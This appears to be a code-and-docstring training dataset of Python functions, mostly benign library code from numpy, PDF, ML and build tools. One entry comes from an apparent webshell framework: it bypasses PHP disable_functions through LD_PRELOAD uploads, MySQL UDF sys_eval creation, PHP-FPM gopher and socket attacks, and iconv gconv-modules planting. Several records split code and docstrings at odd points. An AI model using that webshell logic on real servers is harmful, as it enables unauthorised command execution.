"def ControlID(self):\n return handleprops.controlid(self)\n", "nl": "Return the ID of the windowOnly controls have a valid ID - dialogs usually have no ID assigned.The ID usually identified the control in the window - but there canbe duplicate ID's for example lables in a dialog may have duplicateID's."} {"code": "def get_rpn_batch_fromrec(roidb, cfg, video_index_dict, rec):\n assert len(roidb) == 1, 'Single batch only'\n imgs, roidb = get_image_fromrec(roidb, cfg, video_index_dict, rec, is_train=True)\n im_array = imgs[0]\n im_info = np.array([roidb[0]['im_info']], dtype=np.float32)\n\n if roidb[0]['gt_classes'].size > 0:\n gt_inds = np.where(roidb[0]['gt_classes'] != 0)[0]\n gt_boxes = np.empty((roidb[0]['boxes'].shape[0], 5), dtype=np.float32)\n gt_boxes[:, 0:4] = roidb[0]['boxes'][gt_inds, :]\n gt_boxes[:, 4] = roidb[0]['gt_classes'][gt_inds]\n else:\n gt_boxes = np.empty((0, 5), dtype=np.float32)\n\n data = {'data': im_array,\n 'im_info': im_info}\n label = {'gt_boxes': gt_boxes}\n\n return data, label", "nl": "prototype for rpn batch: data, im_info, gt_boxes:param roidb: ['image', 'flipped'] + ['gt_boxes', 'boxes', 'gt_classes']:return: data, label"} {"code": "def get_info(pkgname, dirs=None):\n from numpy.distutils.npy_pkg_config import parse_flags\n pkg_info = get_pkg_info(pkgname, dirs)\n\n info = parse_flags(pkg_info.cflags())\n for k, v in parse_flags(pkg_info.libs()).items():\n info[k].extend(v)\n", "nl": "Return an info dict for a given C library.The info dict contains the necessary options to use the C library.Parameters----------pkgname : strName of the package (should match the name of the .ini file, withoutthe extension, e.g. foo for the file foo.ini).dirs : sequence, optionalIf given, should be a sequence of additional directories where to lookfor npy-pkg-config files. Those directories are searched prior to theNumPy directory.Returns-------info : dictThe dictionary with build information.Raises------PkgNotFoundIf the package is not found.See Also--------Configuration.add_npy_pkg_config, Configuration.add_installed_library,get_pkg_infoExamples--------To get the necessary information for the npymath library from NumPy:>>> npymath_info = np.distutils.misc_util.get_info('npymath')>>> npymath_info #doctest: +SKIP{'define_macros': [], 'libraries': ['npymath'], 'library_dirs':['.../numpy/core/lib'], 'include_dirs': ['.../numpy/core/include']}This info dict can then be used as input to a `Configuration` instance::config.add_extension('foo', sources=['foo.c'], extra_info=npymath_info)"} {"code": "def clear_ordering(self, force_empty=False):\n self.order_by = []\n self.extra_order_by = ()\n if force_empty:", "nl": "Removes any ordering settings. If 'force_empty' is True, there will beno ordering in the resulting query (not even the model's default)."} {"code": "def get_config():\n\n\nLONG_VERSION_PY = {}\nHANDLERS = {}\n\n", "nl": "Create, populate and return the VersioneerConfig() object.# these strings are filled in when 'setup.py versioneer' creates# _version.pycfg = VersioneerConfig()cfg.VCS = \"git\"cfg.style = \"%(STYLE)s\"cfg.tag_prefix = \"%(TAG_PREFIX)s\"cfg.parentdir_prefix = \"%(PARENTDIR_PREFIX)s\"cfg.versionfile_source = \"%(VERSIONFILE_SOURCE)s\"cfg.verbose = Falsereturn cfgclass NotThisMethod(Exception):Exception raised if a method is not valid for the current scenario."} {"code": "def update(self, node):\n self.replace_references(node)\n for c in node.children:\n self.update(c)\n return node\n", "nl": "Update the specified I{node} by replacing the I{multiref} referenceswith the contents of the referenced nodes and remove the I{href}attribute.@param node: A node to update.@type node: L{Element}@return: The updated node@rtype: L{Element}"} {"code": "def __str__(self):\n if self.name == other.name and self.version == other.version:\n return True\n return False\n", "nl": " QiPackage String Representation if self.version:res = \"%s-%s\" % (self.name, self.version)else:res = self.nameif self.path:res += \" in %s\" % self.pathreturn resdef __eq__(self, other): QiPackage Comparison "} {"code": "def get_fieldstructure(adtype, lastname=None, parents=None,):\n if parents is None:\n parents = {}\n names = adtype.names\n for name in names:\n current = adtype[name]\n if current.names is not None:\n if lastname:\n parents[name] = [lastname, ]\n else:\n parents[name] = []\n parents.update(get_fieldstructure(current, name, parents))\n else:\n lastparent = [_ for _ in (parents.get(lastname, []) or [])]\n if lastparent:\n lastparent.append(lastname)\n elif lastname:\n lastparent = [lastname, ]\n parents[name] = lastparent or []\n return parents\n\n", "nl": "Returns a dictionary with fields indexing lists of their parent fields.This function is used to simplify access to fields nested in other fields.Parameters----------adtype : np.dtypeInput datatypelastname : optionalLast processed field name (used internally during recursion).parents : dictionaryDictionary of parent fields (used interbally during recursion).Examples-------->>> from numpy.lib import recfunctions as rfn>>> ndtype = np.dtype([('A', int),... ('B', [('BA', int),... ('BB', [('BBA', int), ('BBB', int)])])])>>> rfn.get_fieldstructure(ndtype)... # XXX: possible regression, order of BBA and BBB is swapped{'A': [], 'B': [], 'BA': ['B'], 'BB': ['B'], 'BBA': ['B', 'BB'], 'BBB': ['B', 'BB']}"} {"code": "def get_detectd_ext(extname: str):\n plugin_dir, plugin_dir)\n res = send(phpcode)\n if (not res or \"fail\" in res.r_text):\n print(color.red(\"\\nMake plugin dir failed!\\n\"))\n return False\n\n system = \"windows\" if is_windows() else \"linux\"\n print(\"\\nReference Information:\", gget(\n \"webshell.os_version\", \"webshell\"))\n\n bits = gget(\"webshell.arch\", namespace=\"webshell\")\n if not bits:\n print(\"\\nInput target system bits (32/64): \", end=\"\")\n _ = readline().strip()\n if (_ == \"32\"):\n bits = 32\n elif (_ == \"64\"):\n bits = 64\n elif (_ in [\"back\", \"exit\", \"quit\"]):\n return False\n else:\n print(color.red(\"\\nUnknown bits\\n\"))\n return False\n bits = str(bits)\n\n udf_ext = \".dll\" if is_windows() else \".so\"\n udf_path = plugin_dir + \"tmp\" + udf_ext\n print(color.yellow(f\"\\nUpload {udf_ext[1:]}...\"))\n upload_result = upload(\n path.join(gget(\"root_path\"), \"auxiliary\", \"udf\", \"mysql\", system, bits, \"lib_mysqludf_sys\" + udf_ext), udf_path, force=True)\n if (not upload_result):\n print(color.red(\"\\nUpload failed\\n\"))\n return\n gset(\"webshell.udf_path\", udf_path, True, \"webshell\")\n\n print(color.yellow(\"\\nCreate function sys_eval...\"))\n execute_sql_command(\n f\"create function sys_eval returns string soname 'tmp{udf_ext}'\", raw=True)\n test_res = execute_sql_command(\n \"select sys_eval('whoami');\", raw=True)\n if (len(test_res) > 1 and len(test_res[1][0])):\n print(color.green(\"\\nCreate funtion success\"))\n else:\n print(color.red(\"\\nCreate funtion failed\\n\"))\n return False\n\n else:\n print(color.red(\"\\nNo connection to database or dbms isn't mysql\\n\"))\n return False\n\n elif (mode == 10):\n res = send(\"print(php_sapi_name());\")\n\n if (not res):\n print(color.red(\"\\nNo response\\n\"))\n return False\n\n print(color.yellow(\"php_sapi_name: \" + res.r_text))\n\n requirements_dict = {'host': '127.0.0.1', 'port': 9000}\n\n attack_type = input(\n \"attack_type[gopher(need curl extension)/sock/http_sock/ftp]:\").lower()\n\n if (attack_type not in [\"gopher\", \"sock\", \"http_sock\", \"ftp\"]):\n return False\n\n gset(\"webshell.bdf_fpm.type\", attack_type, True, \"webshell\")\n\n if (attack_type == \"sock\"):\n\n sock_path = \"/var/run/php7-fpm.sock\"\n new_v = input(f\"sock_path[{sock_path}]:\")\n if new_v:\n sock_path = new_v\n gset(\"webshell.bdf_fpm.sock_path\", sock_path, True, \"webshell\")\n\n else:\n for k, v in requirements_dict.items():\n new_v = input(f\"{k}[{v}]:\")\n if k == 'port':\n new_v = new_v if new_v else v\n try:\n new_v = int(new_v)\n except ValueError:\n print(color.red(\"\\nport must be number\\n\"))\n return False\n if new_v:\n requirements_dict[k] = new_v\n gset(\"webshell.bdf_fpm.host\",\n requirements_dict[\"host\"], True, \"webshell\")\n gset(\"webshell.bdf_fpm.port\", str(\n requirements_dict[\"port\"]), True, \"webshell\")\n\n if attack_type != \"ftp\":\n new_v = input(\"Use fpm in to eval php code[N]:\")\n if new_v.upper() in [\"Y\", \"YES\"]:\n gset(\"webshell.bdf_fpm.use_in_eval\", True, True, \"webshell\")\n else:\n gset(\"webshell.bdf_fpm.use_in_eval\", False, True, \"webshell\")\n\n elif (mode == 11):\n res = send(\"\"\"$f=in_array('mod_cgi', apache_get_modules());\n if (res.r_text != \"success\"):\n print(color.red(f\"\\n{res.r_text}\\n\"))\n return False\n elif (mode == 12):\n\n disable_funcs = gget(\"webshell.disable_functions\", \"webshell\")\n\n if (\"putenv\" in disable_funcs):\n print(color.red(\"\\nputenv is disabled\\n\"))\n return False\n\n if (not gget(\"webshell.iconv_path\", \"webshell\", None)):\n filename = \"/tmp/%s\" % str(uuid4())\n\n bits = gget(\"webshell.arch\", namespace=\"webshell\")\n if not bits:\n print(\"\\nInput target system bits (32/64): \", end=\"\")\n _ = readline().strip()\n if (_ == \"32\"):\n bits = 32\n elif (_ == \"64\"):\n bits = 64\n else:\n print(color.red(\"\\nUnknown bits\\n\"))\n return False\n bits = str(bits)\n if bits == \"32\":\n bits = \"86\"\n upload_result = upload(\n path.join(gget(\"root_path\"), \"auxiliary\", \"iconv\", \"iconv_x\" + bits + \".so\"), filename + \".so\", True)\n if (not upload_result):\n print(color.red(\"\\nUpload error\\n\"))\n return\n\n gconv_modules = f\"\"\"module PAYLOAD// INTERNAL ../../../../../../../..{filename} 2\n send(\n f\"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));\")\n\n gset(\"webshell.iconv_path\", filename + \".so\", True, \"webshell\")\n gset(\"webshell.iconv_gconv_modules_path\",\n \"/tmp/gconv-modules\", True, \"webshell\")\n elif (mode == 16 and not gget(\"webshell.shellshock_func\", \"webshell\", False)):\n if is_windows():\n print(color.red(\"\\nNo ld_preload function!\\n\"))\n return False\n\n disable_funcs = gget(\"webshell.disable_functions\", \"webshell\")\n\n if (\"putenv\" in disable_funcs):\n print(color.red(\"\\nputenv is disabled\\n\"))\n return False\n\n available_trigger_funcs = [\n 'mail', 'error_log', 'mb_send_mail']\n trigger_funcs = [\n f for f in available_trigger_funcs if f not in disable_funcs]\n if (not trigger_funcs):\n print(color.red(\"\\nNo trigger function\\n\"))\n return False\n trigger_func = trigger_funcs[0]\n\n gset(\"webshell.shellshock_func\", trigger_func, True, \"webshell\")\n\n if (not test):\n if (mode in (7, 10, 12)):\n print(color.yellow(\n \"\\nYou may need to wait 1 second to get the result..\\n\"))\n print(\n f\"\\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\\n\")\n gset(\"webshell.bypass_df\", mode, True, \"webshell\")\n return True\n\n\n@alias(True, _type=\"OTHER\", m=\"mode\")", "nl": "return try{if (extension_loaded(\"%s\")){echo \"exist\";}}catch (Throwable $e){echo \"\";} % extnamedef set_mode(mode: int, test: bool = False):if (mode in mode_require_ext_dict):ext = mode_require_ext_dict[mode]res = send(get_detectd_ext(ext))if (not res):return Falsetext = res.r_text.strip()if (\"exist\" not in text):print(color.red(f\"\\nNo {ext} extension\\n\"))return Falseif (mode == 4 and not gget(\"webshell.ld_preload_path\",\"webshell\", False)): # ld_preloadif is_windows():print(color.red(\"\\nNo ld_preload function!\\n\"))return Falsedisable_funcs = gget(\"webshell.disable_functions\", \"webshell\")# can't work if putenv is disabledif (\"putenv\" in disable_funcs):print(color.red(\"\\nputenv is disabled\\n\"))return False# check if already set ld_preloadif (not gget(\"webshell.ld_preload_path\", \"webshell\", None)):filename = \"/tmp/%s.so\" % str(uuid4())# get ld_preload trigger functionavailable_trigger_funcs = ['mail', 'error_log', 'mb_send_mail']trigger_funcs = [f for f in available_trigger_funcs if f not in disable_funcs]if (not trigger_funcs):print(color.red(\"\\nNo trigger function\\n\"))return Falsetrigger_func = trigger_funcs[0]# get target architecturebits = gget(\"webshell.arch\", namespace=\"webshell\")if not bits:print(\"\\nInput target system bits (32/64): \", end=\"\")_ = readline().strip()if (_ == \"32\"):bits = 32elif (_ == \"64\"):bits = 64else:print(color.red(\"\\nUnknown bits\\n\"))return Falsebits = str(bits)if bits == \"32\":bits = \"86\"# upload soupload_result = upload(path.join(gget(\"root_path\"), \"auxiliary\", \"ld_preload\", \"ld_preload_x\" + bits + \".so\"), filename, True)if (not upload_result):print(color.red(\"\\nUpload error\\n\"))returngset(\"webshell.ld_preload_path\", filename, True, \"webshell\")gset(\"webshell.ld_preload_func\", trigger_func, True, \"webshell\")elif (mode == 8): # udfif (gget(\"db_connected\", \"webshell\") and gget(\"db_dbms\", \"webshell\") == \"mysql\"):# detect plugin dirprint(color.yellow(\"\\nDetect plugin dir...\"))plugin_dir_res = execute_sql_command(\"show variables like '%plugin_dir%';\", raw=True)if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):plugin_dir = plugin_dir_res[1][1].strip().replace(\"\\\\\", \"\\\\\\\\\")else:print(color.red(\"\\nCould not find plugin_dir\"))return False# make plugin dirprint(color.yellow(\"\\nMake plugin dir...\"))phpcode = if(!is_dir(\"%s\") and !mkdir(\"%s\", 0777, true)){print(\"fail\");} % ("} {"code": "def test_test_client_can_have_file_upload_content_type_overriden(harness):\n file_upload = FileUpload(\n data=b'Greetings, program!',\n filename=b'greetings.txt',\n content_type=b'something/else',\n )\n response = harness.client.POST('/foo', body={b'bar': file_upload})\n assert response.body == b'something/else'\n", "nl": "harness.fs.www.mk(('foo.spt', [---]bar = request.body['bar'][---] text/plain via stdlib_format{bar.type}))"} {"code": "def get_labels(self):\n examples = []\n for (i, line) in enumerate(lines):\n if i == 0:\n continue\n guid = self.process_text(line[0])\n text_a = self.process_text(line[7])\n text_b = self.process_text(line[8])\n if set_type != \"test\":\n label = float(line[-1])\n else:\n label = 0\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label))\n return examples\n\n\nclass QqpProcessor(DataProcessor):\n \"\"\"Processor for the QQP data set (GLUE version).\"\"\"", "nl": "See base class.return [None]def _create_examples(self, lines, set_type):Creates examples for the training and dev sets."} {"code": "def _split_after_delimiter(self, item, indent_amt):\n\n There are cases where we will want a space where normally we\n wouldn't put one. This just enforces the addition of a space.\n\n \"\"\"", "nl": "Split the line only after a delimiter.self._delete_whitespace()if self.fits_on_current_line(item.size):returnlast_space = Nonefor current_item in reversed(self._lines):if (last_space and(not isinstance(current_item, Atom) ornot current_item.is_colon)):breakelse:last_space = Noneif isinstance(current_item, self._Space):last_space = current_itemif isinstance(current_item, (self._LineBreak, self._Indent)):returnif not last_space:returnself.add_line_break_at(self._lines.index(last_space), indent_amt)def _enforce_space(self, item):Enforce a space in certain situations."} {"code": "def ping_connection(self):\n :param search_id: str, search_id\"\"\"", "nl": "Ping the endpoint.return_obj = dict()if self.init_error:self.logger.error(\"Token Generation Failed:\")return self.adal_responseresponse = self.api_client.ping_box()response_code = response.coderesponse_dict = json.loads(response.read())if 200 <= response_code < 300:return_obj['success'] = Trueelse:ErrorResponder.fill_error(return_obj, response_dict, ['error', 'message'], connector=self.connector)return return_objdef delete_query_connection(self, search_id):\"delete_query_connection response"} {"code": "def unregisterEventHandler(self, handlerNum):\n ret = bb.event.unregister_UIHhandler(handlerNum, True)\n self.event_handle = None\n return ret\n", "nl": "Unregister a remote UI Event Handler"} {"code": "def register_to_core(self, on_multiple_nodes=False):\n dat = self._make_message_structure(MsgType.REGISTER)\n if on_multiple_nodes:\n dat[KeyType.on_multinodes] = True\n self._send_msg(dat)\n return True\n", "nl": "Register the client (user_id) to the core nodeAfter that, the client can communicate with the core node.Args:on_multiple_nodes (bool): True if this user_id is for multicast addressReturns:bool: True"} {"code": "def safely_remove(path):\n\n :param set all_names: all names found in the configuration\n\n :returns: all found names that are considered valid by LE\n :rtype: set\n\n \"\"\"", "nl": "Remove a file that may not exist.try:os.remove(path)except OSError as err:if err.errno != errno.ENOENT:raisedef get_filtered_names(all_names):Removes names that aren't considered valid by Let's Encrypt."} {"code": "def alloc(self, n=1):\n if self._pure:\n self._state = ops.mix(self._state, self._num_modes)\n self._pure = False\n\n self._state = ops.partial_trace(self._state, self._num_modes, modes)\n self._num_modes = self._num_modes - len(modes)\n", "nl": "allocate a number of modes at the end of the state.# base_shape = [self._trunc for i in range(n)]if self._pure:vac = ops.vacuumState(n, self._trunc)else:vac = ops.vacuumStateMixed(n, self._trunc)self._state = ops.tensor(self._state, vac, self._num_modes, self._pure)self._num_modes = self._num_modes + ndef dealloc(self, modes):Traces out and deallocates the modes in `modes`"} {"code": "def set_default_config(self, name):\n Set the config to use for this worktree.\n Should match a build config name.\n \"\"\"", "nl": " Set the default toolchain for this worktree. qibuild_cfg = qibuild.config.QiBuildConfig()qibuild_cfg.read(create_if_missing=True)qibuild_cfg.set_default_config_for_worktree(self.root, name)qibuild_cfg.write()def set_active_config(self, active_config):"} {"code": "def test_publish_positive(self, *mocks):\n with pytest.raises(click.ClickException, match=\"Not found in Registry.\"):\n RemoteRegistry(mock.Mock()).check_item_present(\n \"protocols\",\n PublicId(\"nonexisting_package_author\", \"nonexisting_package_name\", \"0.0.0\"),\n )\n\n", "nl": "Test for CLI publish positive result.self.set_config(\"agent.description\", \"some-description\")self.run_cli_command(\"publish\", cwd=self._get_cwd())def test_negative_check_is_item_in_remote_registry():Test the utility function (negative) to check if an item is in the remote registry"} {"code": "def egg_name(self):\n if attr.startswith('_'):\n raise AttributeError(attr)\n return getattr(self._provider, attr)\n", "nl": "Return what this distribution's standard .egg filename should befilename = \"%s-%s-py%s\" % (to_filename(self.project_name), to_filename(self.version),self.py_version or PY_MAJOR)if self.platform:filename += '-' + self.platformreturn filenamedef __repr__(self):if self.location:return \"%s (%s)\" % (self, self.location)else:return str(self)def __str__(self):try:version = getattr(self, 'version', None)except ValueError:version = Noneversion = version or \"[unknown version]\"return \"%s %s\" % (self.project_name, version)def __getattr__(self, attr):Delegate all unrecognized public attributes to .metadata provider"} {"code": "def isfinite(self):\n return (-inf < self) & (self < inf)\n\n @classlazyval", "nl": "A Filter producing True for values where this Factor is anything butNaN, inf, or -inf."} {"code": "def emit(self, record):\n if record.levelno == logging.WARNING:\n self.captured_warnings.append(record.msg % record.args)\n\n super(WarningStoreStreamHandler, self).emit(record)\n\n", "nl": "Captures warnings and errors and passes all logs on to StreamHandler.Args:record: Logging record"} {"code": "def set_title_attr(self, name, value):\n LOGGER.info('__setattr__: %s, %s', name, value)\n old_attr = getattr(self, name, 'None')\n super().__setattr__(name, value)\n if old_attr != value:\n new_value = repr(self)\n LOGGER.info('Emitting new title %s', new_value)\n self.title_changed.emit(new_value)\n", "nl": "Attribute setter.Set the given attribute and emit the ``title_changed`` signal withthe new window title if the rendered title is different from theprevious title.Args:name (string): the name of the attribute to set.value: The new value for the attribute."} {"code": "def test_meta_image_only_preview(self):\n page = baker.prepare(\n AbstractFilterPage,\n social_sharing_image=None,\n preview_image=self.preview_image,\n )\n self.assertEqual(page.meta_image, page.preview_image)\n", "nl": "AbstractFilterPages use preview image for meta imageif a social image is not provided"} {"code": "def values(self):\n return self._data\n\n @cache_readonly", "nl": "Return the IntervalIndex's data as an IntervalArray."} {"code": "def dump(self, f):\n printed too. \"\"\"", "nl": "Dump an XML document to an open FILE. ret = libxml2mod.xmlDocDump(f, self._o)return retdef elemDump(self, f, cur):Dump an XML/HTML node, recursive behaviour, children are"} {"code": "def forward(self, x):\n return self.model(x)\n\n\nclass PreactResidualNode(nn.Module):\n \"\"\"\n", "nl": "Apply forward propagation operation.:param x: Variable, input.:return: Variable."} {"code": "def refine_mesh(self, mesh, occ_hat, z, c=None):\n\n self.model.eval()\n\n n_x, n_y, n_z = occ_hat.shape\n assert(n_x == n_y == n_z)\n threshold = self.threshold\n\n v0 = torch.FloatTensor(mesh.vertices).to(self.device)\n v = torch.nn.Parameter(v0.clone())\n\n faces = torch.LongTensor(mesh.faces).to(self.device)\n\n optimizer = optim.RMSprop([v], lr=1e-4)\n\n for it_r in trange(self.refinement_step):\n optimizer.zero_grad()\n\n face_vertex = v[faces]\n eps = np.random.dirichlet((0.5, 0.5, 0.5), size=faces.shape[0])\n eps = torch.FloatTensor(eps).to(self.device)\n face_point = (face_vertex * eps[:, :, None]).sum(dim=1)\n\n face_v1 = face_vertex[:, 1, :] - face_vertex[:, 0, :]\n face_v2 = face_vertex[:, 2, :] - face_vertex[:, 1, :]\n face_normal = torch.cross(face_v1, face_v2)\n face_normal = face_normal / \\\n (face_normal.norm(dim=1, keepdim=True) + 1e-10)\n face_value = torch.sigmoid(\n self.model.decode(face_point.unsqueeze(0), z, c).logits\n )\n normal_target = -autograd.grad(\n [face_value.sum()], [face_point], create_graph=True)[0]\n\n normal_target = \\\n normal_target / \\\n (normal_target.norm(dim=1, keepdim=True) + 1e-10)\n loss_target = (face_value - threshold).pow(2).mean()\n loss_normal = \\\n (face_normal - normal_target).pow(2).sum(dim=1).mean()\n\n loss = loss_target + 0.01 * loss_normal\n\n loss.backward()\n optimizer.step()\n\n mesh.vertices = v.data.cpu().numpy()\n\n return mesh", "nl": " Refines the predicted mesh.Args:mesh (trimesh object): predicted meshocc_hat (tensor): predicted occupancy gridz (tensor): latent code zc (tensor): latent conditioned code c"} {"code": "def glm(data, fb_lo, fb_hi, fs, pairs=None, window_size=-1):\n window_size = int(window_size)\n\n n_channels, n_samples = np.shape(data)\n\n windows = n_samples / window_size\n windows = np.int32(windows)\n if windows <= 0:\n windows = 1\n window_size = -1\n\n if pairs is None:\n pairs = [(r1, r2) for r1 in range(n_channels) for r2 in range(n_channels)]\n\n l_hilb, _, _ = analytic_signal(data, fb_lo, fs)\n h_hilb, _, _ = analytic_signal(data, fb_hi, fs)\n\n lf = np.angle(l_hilb) % np.pi\n hfa = np.abs(h_hilb)\n\n ts = np.zeros((windows, n_channels, n_channels))\n ts_avg = np.zeros((n_channels, n_channels))\n\n start_window = 0\n end_window = start_window + window_size\n for win in range(windows):\n for pair in pairs:\n source_channel, target_channel = pair\n\n slide_lf = lf[source_channel, start_window:end_window]\n slide_hfa = hfa[target_channel, start_window:end_window]\n\n s = np.size(slide_lf)\n y = np.reshape(slide_hfa, (s, 1))\n ax = np.ones((s))\n X = np.vstack((np.cos(slide_lf), np.sin(slide_lf), ax)).T\n\n result = sm.OLS(y, X).fit()\n r2 = result.rsquared\n r2 = np.float32(r2)\n\n ts[win, source_channel, target_channel] = r2\n\n start_window = end_window\n end_window = start_window + window_size\n\n ts_avg = np.average(ts, 0)\n\n return ts, ts_avg", "nl": " General Linear ModelEstimate the :math:`r^2` for the given :attr:`data`,between the :attr:`pairs (if given) of channels.Parameters----------data : array-like, shape(n_channels, n_samples)Multichannel recording data.fb_lo : list of length 2The low and high frequencies of the lower band.fb_hi : list of length 2The low and high frequencies of the upper band.fs : floatSampling frequency.pairs : array-like or `None`- If an `array-like` is given, notice that each element is a tuple of length two.- If `None` is passed, complete connectivity will be assumed.window_size : intThe number of samples that will be used in each window.Returns-------ts : complex array-like, shape(n_windows, n_channels, n_channels)Estimated :math:`r^2` time series (in each window).ts_avg: complex array-like, shape(n_channels, n_channels)Average :math:`r^2` (across all windows)."} {"code": "def test_no_top_crashes(self):\n top_crashes_by_project_and_platform_map = {\n u'project': {\n 'LINUX': [{\n 'crashState': 'state1',\n 'crashType': 'type1',\n 'isSecurity': True,\n 'totalCount': 500\n }]\n }\n }\n cleanup.update_fuzz_blocker_label(self.policy, self.testcase, self.issue,\n top_crashes_by_project_and_platform_map)\n self.assertNotIn(ISSUE_FUZZ_BLOCKER_LABEL, self.issue.labels)\n self.assertNotIn(data_types.CHROMIUM_ISSUE_RELEASEBLOCK_BETA_LABEL,\n self.issue.labels)\n self.assertNotIn('M-63', self.issue.labels)\n self.assertEqual('', self.issue._monorail_issue.comment)\n", "nl": "Test no label is added if there are no top crashes.top_crashes_by_project_and_platform_map = {u'project': {'LINUX': []}}cleanup.update_fuzz_blocker_label(self.policy, self.testcase, self.issue,top_crashes_by_project_and_platform_map)self.assertNotIn(ISSUE_FUZZ_BLOCKER_LABEL, self.issue.labels)self.assertNotIn(data_types.CHROMIUM_ISSUE_RELEASEBLOCK_BETA_LABEL,self.issue.labels)self.assertNotIn('M-63', self.issue.labels)self.assertEqual('', self.issue._monorail_issue.comment)def test_top_crashes_no_match(self):Test no label is added if there are no matching top crashes."} {"code": "def p_expression_func_call(p):\n p[0] = tq_ast.FunctionCall(p[1].lower(), p[3])\n\n", "nl": "expression : ID LPAREN arg_list RPAREN| LEFT LPAREN arg_list RPAREN"} {"code": "def setUp(self):\n client.theResolver = FakeResolver()\n self.hostname = b'example.com'\n self.hostnameForGetHostByName = b'getHostByNameTest'\n", "nl": "Replace the resolver with a FakeResolver"} {"code": "def foo(bar) -> str:\n self.assertIn('doc', msgids)\n", "nl": "doc))"} {"code": "def merge(self, position, fileobj, bookmark=None, pages=None, import_bookmarks=True):\n\n my_file = False\n\n if type(fileobj) == string_type:\n fileobj = file(fileobj, 'rb')\n my_file = True\n elif isinstance(fileobj, file):\n fileobj.seek(0)\n filecontent = fileobj.read()\n fileobj = StreamIO(filecontent)\n my_file = True\n elif isinstance(fileobj, PdfFileReader):\n orig_tell = fileobj.stream.tell()\n fileobj.stream.seek(0)\n filecontent = StreamIO(fileobj.stream.read())\n fileobj.stream.seek(orig_tell)\n fileobj = filecontent\n my_file = True\n\n pdfr = PdfFileReader(fileobj, strict=self.strict)\n\n if pages == None:\n pages = (0, pdfr.getNumPages())\n elif isinstance(pages, PageRange):\n pages = pages.indices(pdfr.getNumPages())\n elif not isinstance(pages, tuple):\n raise TypeError('\"pages\" must be a tuple of (start, stop[, step])')\n\n srcpages = []\n if bookmark:\n bookmark = Bookmark(TextStringObject(bookmark), NumberObject(self.id_count), NameObject('/Fit'))\n\n outline = []\n if import_bookmarks:\n outline = pdfr.getOutlines()\n outline = self._trim_outline(pdfr, outline, pages)\n\n if bookmark:\n self.bookmarks += [bookmark, outline]\n else:\n self.bookmarks += outline\n\n dests = pdfr.namedDestinations\n dests = self._trim_dests(pdfr, dests, pages)\n self.named_dests += dests\n\n for i in range(*pages):\n pg = pdfr.getPage(i)\n\n id = self.id_count\n self.id_count += 1\n\n mp = _MergedPage(pg, pdfr, id)\n\n srcpages.append(mp)\n\n self._associate_dests_to_pages(srcpages)\n self._associate_bookmarks_to_pages(srcpages)\n\n\n self.pages[position:position] = srcpages\n\n self.inputs.append((fileobj, pdfr, my_file))\n\n", "nl": ">>> merge(position, file, bookmark=None, pages=None, import_bookmarks=True)Merges the pages from the source document specified by \"file\" into the outputfile at the page number specified by \"position\".Optionally, you may specify a bookmark to be applied at the beginning of theincluded file by supplying the text of the bookmark in the \"bookmark\" parameter.You may prevent the source document's bookmarks from being imported byspecifying \"import_bookmarks\" as False.The optional \"pages\" parameter can be a PageRange or a(start, stop[, step]) tuple to merge only the specified range of pagesfrom the source document into the output document."} {"code": "def evaluation_kitti(self, detections, output_dir):\n print(\"++++++++NuScenes KITTI unofficial Evaluation:\")\n print(\n \"++++++++easy: num_lidar_pts>15, mod: num_lidar_pts>7, hard: num_lidar_pts>0\"\n )\n print(\"++++++++The bbox AP is invalid. Don't forget to ignore it.\")\n class_names = self._class_names\n gt_annos = self.ground_truth_annotations\n if gt_annos is None:\n return None\n gt_annos = deepcopy(gt_annos)\n detections = deepcopy(detections)\n dt_annos = []\n for det in detections:\n final_box_preds = det[\"box3d_lidar\"].detach().cpu().numpy()\n label_preds = det[\"label_preds\"].detach().cpu().numpy()\n scores = det[\"scores\"].detach().cpu().numpy()\n anno = kitti.get_start_result_anno()\n num_example = 0\n box3d_lidar = final_box_preds\n for j in range(box3d_lidar.shape[0]):\n anno[\"bbox\"].append(np.array([0, 0, 50, 50]))\n anno[\"alpha\"].append(-10)\n anno[\"dimensions\"].append(box3d_lidar[j, 3:6])\n anno[\"location\"].append(box3d_lidar[j, :3])\n anno[\"rotation_y\"].append(box3d_lidar[j, 6])\n anno[\"name\"].append(class_names[int(label_preds[j])])\n anno[\"truncated\"].append(0.0)\n anno[\"occluded\"].append(0)\n anno[\"score\"].append(scores[j])\n num_example += 1\n if num_example != 0:\n anno = {n: np.stack(v) for n, v in anno.items()}\n dt_annos.append(anno)\n else:\n dt_annos.append(kitti.empty_result_anno())\n num_example = dt_annos[-1][\"name\"].shape[0]\n dt_annos[-1][\"metadata\"] = det[\"metadata\"]\n\n for anno in gt_annos:\n names = anno[\"name\"].tolist()\n mapped_names = []\n for n in names:\n if n in self.NameMapping:\n mapped_names.append(self.NameMapping[n])\n else:\n mapped_names.append(n)\n anno[\"name\"] = np.array(mapped_names)\n for anno in dt_annos:\n names = anno[\"name\"].tolist()\n mapped_names = []\n for n in names:\n if n in self.NameMapping:\n mapped_names.append(self.NameMapping[n])\n else:\n mapped_names.append(n)\n anno[\"name\"] = np.array(mapped_names)\n mapped_class_names = []\n for n in self._class_names:\n if n in self.NameMapping:\n mapped_class_names.append(self.NameMapping[n])\n else:\n mapped_class_names.append(n)\n\n z_axis = 2\n z_center = 0.5\n result_official_dict = get_official_eval_result(\n gt_annos,\n dt_annos,\n mapped_class_names,\n z_axis=z_axis,\n z_center=z_center)\n result_coco = get_coco_eval_result(\n gt_annos,\n dt_annos,\n mapped_class_names,\n z_axis=z_axis,\n z_center=z_center)\n return {\n \"results\": {\n \"official\": result_official_dict[\"result\"],\n \"coco\": result_coco[\"result\"],\n },\n \"detail\": {\n \"official\": result_official_dict[\"detail\"],\n \"coco\": result_coco[\"detail\"],\n },\n }\n", "nl": "eval by kitti evaluation tool.I use num_lidar_pts to set easy, mod, hard.easy: num>15, mod: num>7, hard: num>0."} {"code": "def _DamerauLevenshtein(a, b):\n if (x, y) in memo:\n return memo[x, y]\n if not x:\n d = len(y)\n elif not y:\n d = len(x)\n else:\n d = min(\n Distance(x[1:], y) + 1,\n Distance(x, y[1:]) + 1,\n Distance(x[1:], y[1:]) + (x[0] != y[0]))\n if len(x) >= 2 and len(y) >= 2 and x[0] == y[1] and x[1] == y[0]:\n t = Distance(x[2:], y[2:]) + 1\n if d > t:\n d = t\n\n memo[x, y] = d\n return d\n return Distance(a, b)\n\n", "nl": "Damerau-Levenshtein edit 